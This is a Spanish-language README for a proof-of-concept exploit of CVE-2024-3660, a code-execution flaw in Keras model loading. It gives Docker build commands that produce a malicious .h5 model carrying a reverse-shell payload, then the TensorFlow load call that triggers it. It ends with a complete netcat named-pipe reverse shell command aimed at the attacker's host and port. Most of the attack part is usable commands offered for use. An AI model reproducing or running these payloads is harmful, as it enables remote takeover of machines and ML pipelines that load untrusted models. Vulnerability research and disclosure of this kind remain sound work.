
Un PoC para CVE-2024-3660. Ejecución arbitraria de código en Keras.
CVE-2024-3660 es una vulnerabilidad de ejecución de código arbitrario en el framework Keras de TensorFlow que afecta a las versiones < 2.13.
Permite a un atacante incrustar código Python dentro de un modelo (por ejemplo, a través de una capa Lambda) que se ejecuta automáticamente cuando se carga el modelo.
Cuando se carga un archivo de modelo .h5 malicioso en un entorno vulnerable, se ejecutan comandos arbitrarios con los mismos permisos que el proceso de carga.
tf.keras.models.load_model("CVE20243660.h5", compile=False)
o en versiones antiguas de TensorFlow donde safe_mode no está habilitado por defecto.
## Descripción del PoC
Este PoC utiliza una compilación basada en Docker para generar un modelo malicioso `hack.h5` que contiene un payload de reverse shell.
Cuando el modelo se carga en una versión vulnerable de TensorFlow, se conecta de vuelta a la máquina del atacante.
# Uso
## 1. Construir y extraer el modelo malicioso
```bash
docker buildx build \
--platform linux/amd64 \
--build-arg LHOST=<YOUR-IP> \
--build-arg LPORT=<YOUR-PORT> \
-t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id
import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)
nc para una reverse shell:rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f